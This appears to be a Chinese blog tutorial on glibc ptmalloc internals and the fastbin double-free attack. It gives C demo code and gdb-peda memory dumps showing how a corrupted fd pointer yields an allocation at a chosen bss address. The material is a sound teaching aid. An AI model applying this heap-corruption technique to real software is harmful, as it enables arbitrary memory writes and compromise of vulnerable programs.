• Fastbin attack——Double Free


    ptmalloc

    ptmalloc的基本思路是将堆上的内存区域划分为多个chunk,在分配/回收内存时,对chunk进行分割、回收等操作。在32位系统下,chunk头的大小为8 Bytes,且每个chunk的大小也是8 Bytes的整数倍。

    chunk头包括以下两部分:

    prev_size: 如果当前chunk的相邻前一chunk未被使用,prev_size为此前一chunk的大小
    size: 当前chunk的大小。由于chunk大小是8的整数倍,所以此size的后3 bit被用于存储其他信息。我们需要记住的便是最低bit,即图中P的位置,用于指示前一chunk是否已被使用(PREV_INUSE)。

    如果当前chunk处于未被使用状态,则mem前8 bytes被用来存储其他信息,具体如下:

    fd: 下一个未被使用的chunk的地址
    bk: 上一个未被使用的chunk的地址
    

     chunk结构

    struct malloc_chunk {
      INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
      INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */
      struct malloc_chunk* fd;                /* double links -- used only if free. */
      struct malloc_chunk* bk;
      /* Only used for large blocks: pointer to next larger size.  */
      struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
      struct malloc_chunk* bk_nextsize;
    };
    
    typedef struct malloc_chunk* mchunkptr;

    Allocated chunk:

     在图中,chunk 指针指向一个 chunk 的开始,一个 chunk 中包含了用户请求的内存区域和相关的控制信息。
    图中的 mem 指针才是真正返回给用户的内存指针。
    chunk 的第二个域的最低一位为 P,它表示前一个块是否在使用中,P 为 0 则表示前一个 chunk 为空闲(并非指链表中的前一个堆块,而是连续内存中的前一块内存),这时 chunk 的第一个域 prev_size 才有效,prev_size 表示前一个 chunk 的 size,程序可以使用这个值来找到前一个 chunk 的开始地址。
    当 P 为 1 时,表示前一个 chunk 正在使用中,prev_size无效,程序也就不可以得到前一个 chunk 的大小。不能对前一个 chunk 进行任何操作。ptmalloc 分配的第一个块总是将 P 设为 1,以防止程序引用到不存在的区域。
    Chunk的第二个域的倒数第二个位为M,他表示当前chunk是从哪个内存区域获得的虚拟内存。M 为 1 表示该 chunk 是从 mmap 映射区域分配的,否则是从 heap 区域分配的。
    Chunk 的第二个域倒数第三个位为 A,表示该 chunk 属于主分配区或者非主分配区,如果属于非主分配区,将该位置为 1,否则置为 0。

    对于32位机,8字节对齐,对于64位机,16字节对齐

    32位机中,一个使用中的 chunk 的大小的计算公式应该是: in_use_size = (用户请求大小+ 8 - 4 ) align to 8B,这里加 8 是因为需要存储 prev_size 和 size, 但又因为向下一个 chunk“借”了 4B,所以要减去 4。

    Chunk可分为4类:1)allocated chunk;2)free chunk; 3)top chunk; 4)Last remainder chunk。

    从本质上来说,所有类型的chunk都是内存中一块连续的区域,只是通过该区域中特定位置的某些标识符加以区分。allocated chunk表示已经分配给用户使用的chunk;free chunk表示未使用的chunk。

    Fastbin Attack

    glibc通过fastbin来管理⻓度较小的堆块。fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。

    fastbin特点:

    • 单链表结构

    • 遵循LIFO(Last In First Out)的分配策略

    • 每次加⼊入新的堆块时会检查
    该堆块是否为链表头节点

    fastbin攻击原理

    fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。

    1. Double Free

    Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆的效果。Fastbin Double Free 能够成功利用主要有两部分的原因:一是fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空;二是fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

    int main(void)
    {
        void *chunk1,*chunk2,*chunk3;
        chunk1=malloc(0x10);
        chunk2=malloc(0x10);
    
        free(chunk1);
        free(chunk2);
        free(chunk1);
        return 0;
    }

    因为chunk1 被再次释放其 fd 值不再为0而是指向chunk2,如果控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。

    示例代码:

    #include <stdio.h>
    #include <stdlib.h>
    typedef struct _chunk
    {
        long long pre_size;
        long long size;
        long long fd;
        long long bk;
    } CHUNK,*PCHUNK;
    
    CHUNK bss_chunk;
    
    int main(void)
    {
        void *chunk1,*chunk2,*chunk3;
        void *chunk_a,*chunk_b;
    
        bss_chunk.size=0x21; //注意,在malloc时会检查chunk的size,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。
        chunk1=malloc(0x10);
        chunk2=malloc(0x10);
    
        free(chunk1);
        free(chunk2);
        free(chunk1);
    
        chunk_a=malloc(0x10);
        *(long long *)chunk_a=&bss_chunk;
        malloc(0x10);
        malloc(0x10);
        chunk_b=malloc(0x10);
        printf("%p",chunk_b);
        return 0;
    }

    当程序执行到free(chunk2)后,ptmalloc是管理fastbin的方法:

    gdb-peda$  x/20xg 0x602000
    0x602000:    0x0000000000000000    0x0000000000000021    ————————>chunk1
    0x602010:    0x0000000000000000    0x0000000000000000
    0x602020:    0x0000000000000000    0x0000000000000021    ————————>chunk2   
    0x602030:    0x0000000000602000    0x0000000000000000
    0x602040:    0x0000000000000000    0x0000000000020fc1    ————————>top chunk
    0x602050:    0x0000000000000000    0x0000000000000000
    0x602060:    0x0000000000000000    0x0000000000000000
    0x602070:    0x0000000000000000    0x0000000000000000
    0x602080:    0x0000000000000000    0x0000000000000000
    0x602090:    0x0000000000000000    0x0000000000000000

    此时chunk2的fd指向chunk1,而chunk1的fd为空,fastbin链表为main_arena=>chunk2=>chunk1。再次执行free(chunk1)后

    gdb-peda$  x/20xg 0x602000
    0x602000:    0x0000000000000000    0x0000000000000021   ————————>chunk1
    0x602010:    0x0000000000602020    0x0000000000000000
    0x602020:    0x0000000000000000    0x0000000000000021   ————————>chunk2
    0x602030:    0x0000000000602000    0x0000000000000000
    0x602040:    0x0000000000000000    0x0000000000020fc1   ————————>top chunk
    0x602050:    0x0000000000000000    0x0000000000000000
    0x602060:    0x0000000000000000    0x0000000000000000
    0x602070:    0x0000000000000000    0x0000000000000000
    0x602080:    0x0000000000000000    0x0000000000000000
    0x602090:    0x0000000000000000    0x0000000000000000

    此时chunk2的fd指向chunk1,而chunk1的fd指向chunk2,fastbin链表为main_arena=>chunk1=>chunk2=>chunk1。

    gdb-peda$ p main_arena
    $1 = {
      mutex = 0x0, 
      flags = 0x0, 
      fastbinsY = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 

    此时申请chunk_a,fastbin链表为main_arena=>chunk2=>chunk_a=>chunk2。并将chunk_a的指针域修改为要修改的地址-0x10以上(此处选择的是bss_chunk:0x601080)

    gdb-peda$ p main_arena
    $2 = {
      mutex = 0x0, 
      flags = 0x0, 
      fastbinsY = {0x602020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
      top = 0x602040, 
    0x602000:    0x0000000000000000    0x0000000000000021   ————————>chunk_a
    0x602010:    0x0000000000602000    0x0000000000000000
    0x602020:    0x0000000000000000    0x0000000000000021   ————————>chunk2
    0x602030:    0x0000000000602000    0x0000000000000000
    0x602040:    0x0000000000000000    0x0000000000020fc1   ————————>top chunk
    0x602050:    0x0000000000000000    0x0000000000000000
    0x602060:    0x0000000000000000    0x0000000000000000
    0x602070:    0x0000000000000000    0x0000000000000000
    0x602080:    0x0000000000000000    0x0000000000000000
    0x602090:    0x0000000000000000    0x0000000000000000

    并将chunk_a的指针域修改为要修改的地址-0x10以上(此处选择的是bss_chunk:0x601080)

    gdb-peda$ p main_arena
    $3 = {
      mutex = 0x0, 
      flags = 0x0, 
      fastbinsY = {0x602020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
    
    gdb-peda$ x/20xg 0x602000
    0x602000:    0x0000000000000000    0x0000000000000021
    0x602010:    0x0000000000601080    0x0000000000000000
    0x602020:    0x0000000000000000    0x0000000000000021
    0x602030:    0x0000000000602000    0x0000000000000000
    0x602040:    0x0000000000000000    0x0000000000020fc1
    0x602050:    0x0000000000000000    0x0000000000000000

    chunk1 的 fd 指针指向 bss 段上的 bss_chunk,fastbin链表为main_arena=>chunk2=>chunk_a=>malloc_hook(bss_chunk)。

    申请一个new chunk 2:

    gdb-peda$ p main_arena
    $4 = {
      mutex = 0x0, 
      flags = 0x0, 
      fastbinsY = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
      top = 0x602040, 
    gdb-peda$  x/20xg 0x602000
    0x602000:    0x0000000000000000    0x0000000000000021   ————————>chunk_a
    0x602010:    0x0000000000601080    0x0000000000000000
    0x602020:    0x0000000000000000    0x0000000000000021   ————————>chunk2
    0x602030:    0x0000000000602000    0x0000000000000000
    0x602040:    0x0000000000000000    0x0000000000020fc1   ————————>top chunk
    0x602050:    0x0000000000000000    0x0000000000000000
    0x602060:    0x0000000000000000    0x0000000000000000
    0x602070:    0x0000000000000000    0x0000000000000000
    0x602080:    0x0000000000000000    0x0000000000000000
    0x602090:    0x0000000000000000    0x0000000000000000

    此时new chunk2被申请后,fastbin链表为main_arena=>chunk_a=>bss_chunk。

    再申请一个new chunk 3(new chunk 3是和chunk_a重合的)

    gdb-peda$ p main_arena
    $5 = {
      mutex = 0x0, 
      flags = 0x0, 
      fastbinsY = {0x601080 <bss_chunk>, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
    gdb-peda$  x/20xg 0x602000
    0x602000:    0x0000000000000000    0x0000000000000021
    0x602010:    0x0000000000601080    0x0000000000000000
    0x602020:    0x0000000000000000    0x0000000000000021
    0x602030:    0x0000000000602000    0x0000000000000000
    0x602040:    0x0000000000000000    0x0000000000020fc1
    0x602050:    0x0000000000000000    0x0000000000000000
    0x602060:    0x0000000000000000    0x0000000000000000
    0x602070:    0x0000000000000000    0x0000000000000000
    0x602080:    0x0000000000000000    0x0000000000000000
    0x602090:    0x0000000000000000    0x0000000000000000

    此时new chunk 3与chunk_a重合,fastbin链表为main_arena=>bss_chunk已经指向了我们想要修改的地址了,只要再申请一个堆块就会申请到想要修改的地址,然后只要编辑这个堆块便可完成任意地址写。

    gdb-peda$ c
    Continuing.
    0x601090[Inferior 1 (process 17012) exited normally]
    Warning: not running
    gdb-peda$ x/20xg 0x601080
    0x601080 <bss_chunk>:    0x0000000000000000    0x0000000000000000
    0x601090 <bss_chunk+16>:    0x0000000000000000    0x0000000000000000
    0x6010a0:    Cannot access memory at address 0x6010a0

    参考

    图解fastbin:https://blog.csdn.net/Breeze_CAT/article/details/103788698

    ctf-wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/

    fastbin attack:https://www.cnblogs.com/countfatcode/p/11829124.html

  • 相关阅读:
    Struts tags--Data tags
    Java NIO学习笔记七 Non-blocking Server
    Java NIO学习笔记六 SocketChannel 和 ServerSocketChannel
    Java NIO学习笔记五 FileChannel(文件通道)
    Java NIO学习笔记四 NIO选择器
    Java NIO学习笔记 三 散点/收集 和频道转换
    SpringMVC接收集合页面参数
    JAVA NIO学习笔记二 频道和缓冲区
    Java NIO学习笔记一 Java NIO概述
    通过举例了解java中的流
  • 原文地址:https://www.cnblogs.com/mgdzy/p/13038894.html
Copyright © 2020-2023  润新知